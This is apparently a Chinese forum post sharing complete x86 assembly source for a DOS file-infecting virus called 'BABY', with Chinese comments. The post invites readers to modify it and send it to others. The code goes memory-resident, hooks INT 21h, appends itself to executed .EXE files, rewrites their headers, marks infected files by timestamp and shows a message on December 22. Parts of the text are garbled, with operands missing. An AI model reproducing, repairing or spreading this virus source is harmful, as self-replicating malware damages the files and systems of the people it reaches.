经典的鸟毒,学习修改都挺爽!改好后发个给鸟岛人.
--.radix 16
--.model tiny
--.286c
--.code
--org 0
start:
--push es--------;把原来的 PSP 压入栈堆
--call position------;呼叫 POSITION
position:----------;其实还可以用中断返回的方法读取当前偏移(反 DEBUG ^o^ )
--pop si--------;得到偏移 SI
--sub si,position-start----;得到入口偏移,存入SI
--push si--------;SI 入栈
--mov ax,30AE------;取 DOS 版本号(AE为通知同伴)
--int 21--------;实际为判断是否已驻留
--cmp cx,04c6------;CX=04C6 表明已驻留
--jne install------;不等,则驻留
--jmp run_host------;等,则运行原程序
install:
;================================================================
;You can add active code here: Don't too cruel!
;================================================================
active_check:
--mov ah,2a------;取日期
--int 21
--cmp dx,0c16------;是否为 12月22日
--jz active------;是,则发作
--jmp no_active------;不是,则转
active:
--push cs
--pop ds--------;置DS=CS
--push si
mov bl,COLOR1
--mov dx,offset active_mess-start--;计算发作信息绝对偏移
--add si,dx------;计算实际地址
--call write_on_screen----;显示发作信息
--mov ah,00------;读一字符后继续
int 16
pop si
push si
mov bl,COLOR2
mov dx,offset active_other_mess-start
add si,dx
call write_on_screen
--mov ah,00------;读一字符后继续
int 16
--pop si
--jmp run_host
;================================================================
no_active:
--mov ah,52------;取磁盘缓冲区地址
--int 21
--mov bx,es:----;取第一个 MCB 地址
--xor di,di------;清DI
loop_search:
--mov es,bx------;查找最后一个MCB地址
--add bx,word ptr es:
--inc bx
--cmp byte ptr es:,5a
--jnz loop_search
;================Found Last MCB=========--
--mov bx,es------;保存找到的最后一个MCB地址----
--mov ax,word ptr es:--;取最后一个MCB大小
--sub ax,vir_para------;剪去自己的PARA
--jnc keep_in_memory----;溢出则表明不够驻留
--jmp run_host------;否则继续
keep_in_memory:
--mov word ptr es:,ax--;改写最后一个MCB大小
--add bx,ax------;计算驻留区段地址
--inc bx
--mov es,bx------;并送入ES
--push cs
--pop ds--------;令DS=CS
--mov cx,vir_bytes----;将自己搬移
--cld
--rep movsb
;===============hook int 21============
; The virus in memory address is:
;======================================
--xor si,si
--mov ds,si------;挂接中断向量 21
mov dx,offset new_int21-start
--cli
--xchg ds:word ptr ,dx
--xchg ds:word ptr ,bx
--mov es:word ptr oldint21,dx
--mov es:word ptr oldint21+2,bx
--sti
;==============run host================
run_host:
--push cs--------
--pop ds
--pop si
mov di,offset old_header-start
--add di,si
--mov al,byte ptr ----;将OLD_HEADER前两个字符相加
--add al,byte ptr ----;后送入AL
--cmp al,0a7------;比较AL是否等于0A7
--jne run_com------;(4D+5A=0A7)
--jmp run_exe
run_com:
;=======================================
;You can add run .com file here!
;=======================================
--int 20
run_exe:
mov di,offset old_header-start
--add di,si------;将OLD_HEADER 地址送入DI
--pop cx--------;原PSP出栈
--mov dx,cx------
--add dx,10------;原PSP +10H
--mov ax,word ptr ----;原程序SS 偏移送入AX
--add ax,dx------;计算SS 初值
--mov ss,ax
--mov ax,word ptr ----;原程序SP送入AX
--mov sp,ax
--mov ax,word ptr ----;原程序CS 偏移送入AX
--add ax,dx------;计算CS初值
--mov bx,word ptr ----;原程序IP送入BX
--mov ds,cx------;置DS
--mov es,cx------;置ES
--push ax--------;原CS入栈
--push bx--------;原IP入栈
--xor ax,ax
--xor bx,bx------;清 AX,BX,CX,DX,SI,DI,BP
--xor cx,cx
--xor dx,dx
--xor si,si
--xor di,di
--xor bp,bp
--retf--------
;=========================================
new_int21:
--pushf--------;标志入栈
--cmp ax,30AE------;是否为同伴在呼叫
--jne next------;不是,则转
--call dword ptr cs

ldint21--;是,则响应
--mov cx,04c6
--iret--
next:
--cmp ah,4bh------;是否为运行程序
--jz infect------;是,则去感染
--pusha--------;否,则呼叫原INT21
--push ds
--push es
--jmp exit_int21
exit_int21_0:
--mov ah,3e------;关闭文档
--call calloldint21
exit_int21:
--pop es--------;寄存器出栈
--pop ds
--popa
--popf--------;标志出栈
jmp dword ptr cs

ldint21 ;呼叫原INT21返回,执行原程序
infect:
--pusha--------;寄存器入栈
--push ds
--push es
--mov ax,4300
--call calloldint21----;取文档属性
--mov word ptr cs:file_attrib,cx--;保存原属性
--mov ax,4301------;置成普通文档
--mov cx,20
--call calloldint21
--mov ax,3d02------;开档
--call calloldint21
--jnc con1------;没错,则继续
--jmp exit_int21------;错,则离开
con1:
--xchg ax,bx------;保存HANDLE
--mov ax,5700------;取文档时间
--call calloldint21
--and cx,7ff
--cmp cx,18bH------;文档修改时间是否为: 12分22秒
--jnz con2------;不是继续
--jmp exit_int21_0----;是,不感染
con2:
--push cs--
--push cs--
--pop ds
--pop es--------;置DS=ES=CS
--lea dx,old_header----;读文档前20H 个字符
--mov cx,20
--mov ah,3f
--call calloldint21
--jnc con3
--jmp exit_int21_0
con3:
--lea si,old_header----;复制文档头前20H 个字符
--lea di,vir_header
--mov cx,20
--cld
--rep movsb
--lea di,vir_header
--mov al,byte ptr ----;判断文档是否为.EXE FILE
--add al,byte ptr
--cmp al,0a7
--jnz infect_com
--jmp infect_exe
infect_com:
;=======================================
;You can add infect .com file here!
;=======================================
--jmp exit_int21_0----;是.COM 档则离开
infect_exe:
--call check_size------;去文档长度
--cmp dx,0
--jnz con6
--cmp ax,07bc------;文档长度>1980则感染
--ja con6--------;否则退出
--jmp exit_int21_0
con6:
--push ax--------;保存文档长度 DX:AX
--push dx----
--add ax,vir_bytes----;计算感染后的文档长度
--adc dx,0------;并回写
--mov cx,200
--div cx
--or dx,dx
--jz con7
--inc ax
con7:
--mov word ptr ,dx
--mov word ptr ,ax--
--pop dx--------;取回文档长度
--pop ax----
--mov cx,10------;(DX:AX/10)后 AX 为 PARA数
--div cx--------;DX 为余数
--sub ax,word ptr ----;剪去文档头的PARA数
--mov word ptr ,dx----;此时,DX为感染后的IP
--mov word ptr ,ax----;AX为感染后的SS,CS
--mov word ptr ,ax
--add dx,4000------;新SP等于新IP+4000
--mov word ptr ,dx----;送入SP
set_time_exit:
--mov ax,4200------;将修改后的文档头回写
--xor cx,cx------
--xor dx,dx
--call calloldint21
--mov dx,di
--mov cx,20
--mov ah,40
--call calloldint21
--jnc con5
--jmp exit_int21_0
con5:
--call check_size------;移动文档指针到文档尾
--lea dx,start
--mov cx,vir_bytes----;将自己写入
--mov ah,40
--call calloldint21----;置文档时间为: 12分22秒
--mov ax,5700
--call calloldint21
--and cx,0f800
--or cx,18bh
--mov ax,5701
--call calloldint21
--mov ah,3e------;闭档
--call calloldint21
--pop es
--pop ds
--popa
--pusha
--push ds
--push es
--mov cx,word ptr cs:file_attrib--;取原文档属性
--mov ax,4301------;置回原文档属性
--call calloldint21
--jmp exit_int21------;离开
;===============================
check_size:----; 作用: 1. 读文档大小 2.将文件指针移到文档尾部
--mov ax,4202
--xor cx,cx
--xor dx,dx
--call calloldint21
--ret
;===============================
calloldint21:----;呼叫就的中断 21h
--pushf
--call dword ptr cs

ldint21
--ret
;===============================
write_on_screen:----; 直接写屏
--push es
--mov ax,0003
--int 10
--mov dx,0b800
--mov es,dx
--xor di,di
--cld
loop_write:
--lodsb
--or al,al
--jnz read_con
--pop es
--ret
read_con:
--stosb
mov es:byte ptr ,bl
--inc di
--jmp loop_write
;===============================
;--My cute Virus Data
;===============================
old_header db 0cdh,20,1e dup(0)
active_mess db ' Warning! Warning! VIRUS Warning!',2e dup(20)
db ' Hi! You notice here! VIRUS : BABY ( Ver 1.00B ) has come!',15 dup(20)
db ' Guess What will I do, NEXT ? Press any key to get the ANSWER...',0f DUP(20),0
COLOR1 EQU 0CF
active_other_mess db 50 dup(20)
db ' It is only a joke, I will not harm you! Today is ANDY birthday, so I will do '
db ' nothing today! Have a good day! Bye!',7bh dup(20),0
COLOR2 EQU 1E
vir_bytes equ $-offset start
vir_para equ (vmem+0f)/10
vir_header db-- 20 dup(0)
oldint21 dd--?
file_attrib dw ?
vmem equ $-offset start
;==================================
--end--start